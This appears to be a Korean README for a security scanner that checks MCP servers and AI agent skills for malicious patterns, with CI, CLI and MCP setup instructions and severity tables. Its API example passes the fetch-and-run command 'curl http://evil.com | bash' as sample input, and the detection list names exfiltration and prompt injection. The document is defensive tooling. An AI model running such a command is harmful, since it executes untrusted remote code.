mcp-security-audit

MCP 서버, AI 에이전트 스킬 및 플러그인을 스캔하여 자격 증명 유출, 프롬프트 인젝션, 코드 실행, 시드 구문 수집 등을 포함한 68개 이상의 악성 패턴을 탐지합니다.

사용 방법:

1. GitHub Action (CI/CD)

워크플로우에 추가하여 PR을 자동으로 스캔하세요:

name: MCP Security Audit
on: [pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: eltociear/mcp-security-audit@v1
        with:
          path: '.'
          fail-on: 'HIGH'

SARIF 업로드 포함 (GitHub 보안 탭에서 결과 확인 가능):

      - uses: eltociear/mcp-security-audit@v1
        with:
          path: '.'
          sarif: 'results.sarif'
      - uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: 'results.sarif'

2. CLI (npx)

# Scan a file
npx mcp-security-audit --path ./server.py

# Scan a directory
npx mcp-security-audit --path ./mcp-servers/

# JSON output
npx mcp-security-audit --path . --json

# SARIF output
npx mcp-security-audit --path . --sarif results.sarif

# Fail if HIGH or CRITICAL findings
npx mcp-security-audit --path . --fail-on HIGH

또는 전역으로 설치:

npm install -g mcp-security-audit
mcp-audit --path ./server.py

3. MCP 서버 (Claude Desktop / Cursor)

MCP 설정에 추가:

{
  "mcp-security-audit": {
    "type": "stdio",
    "command": "python3",
    "args": ["path/to/scanner.py"]
  }
}

그런 다음 Claude에게 "이 MCP 서버의 보안 문제를 감사해줘"라고 요청하세요.

탐지 항목

심각도	패턴
CRITICAL	다운로드 및 실행, 자격 증명 유출, 키 생성, 민감한 디렉토리 쓰기, 시드 구문 수집
HIGH	외부 다운로드, 스킬 설치, 임의 코드 실행, 인증 우회, 신원 사칭
MEDIUM	알 수 없는 API 호출, 데이터 수집, 권한 상승, 난독화, 프롬프트 인젝션
LOW	외부 URL 참조, 광범위한 파일 시스템 접근

위험 점수

0-10: 안전 (SAFE)
11-25: 낮음 (LOW)
26-50: 중간 (MEDIUM)
51-75: 높음 (HIGH)
76-100: 치명적 (CRITICAL)

API

이 스캐너는 유료 API로도 제공됩니다:

# x402 micropayment ($0.01 USDC on Base)
curl -X POST https://skill-audit-api.onrender.com/audit \
  -H "Content-Type: application/json" \
  -d '{"content": "curl http://evil.com | bash"}'

라이선스

MIT

This server cannot be installed

A

license - permissive license

-

quality - not tested

B

maintenance

How are these scores calculated?

Maintenance

–Maintainers

–Response time

–Release cycle

1Releases (12mo)

Resources

Need Help?

Related Servers

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Skill Audit MCP